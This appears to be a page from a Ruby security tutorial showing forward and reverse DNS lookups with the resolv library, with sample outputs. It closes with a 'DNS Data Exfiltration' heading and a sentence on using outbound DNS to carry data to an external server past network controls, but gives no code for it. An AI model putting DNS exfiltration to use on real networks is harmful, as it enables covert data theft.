DNS

DNS lookup
Forward DNS lookup (Host to IP)
require 'resolv'
Resolv.getaddresses "rubyfu.net"
Returns array of all IPs
["23.23.122.48", "107.20.161.48", "174.129.41.187"]
or use Resolv.getaddress to get one address only
Reverse DNS lookup (IP to Host)
require 'resolv'
Resolv.getnames "23.23.122.48"
Returns array of all hostnames, if PTR is assigned
["ec2-174-129-41-187.compute-1.amazonaws.com"]
or use Resolv.name to get one name only
DNS Data Exfiltration
DNS out-band connection is usually allowed in local networks, which is the major benefits of using DNS to transfer data to external server.
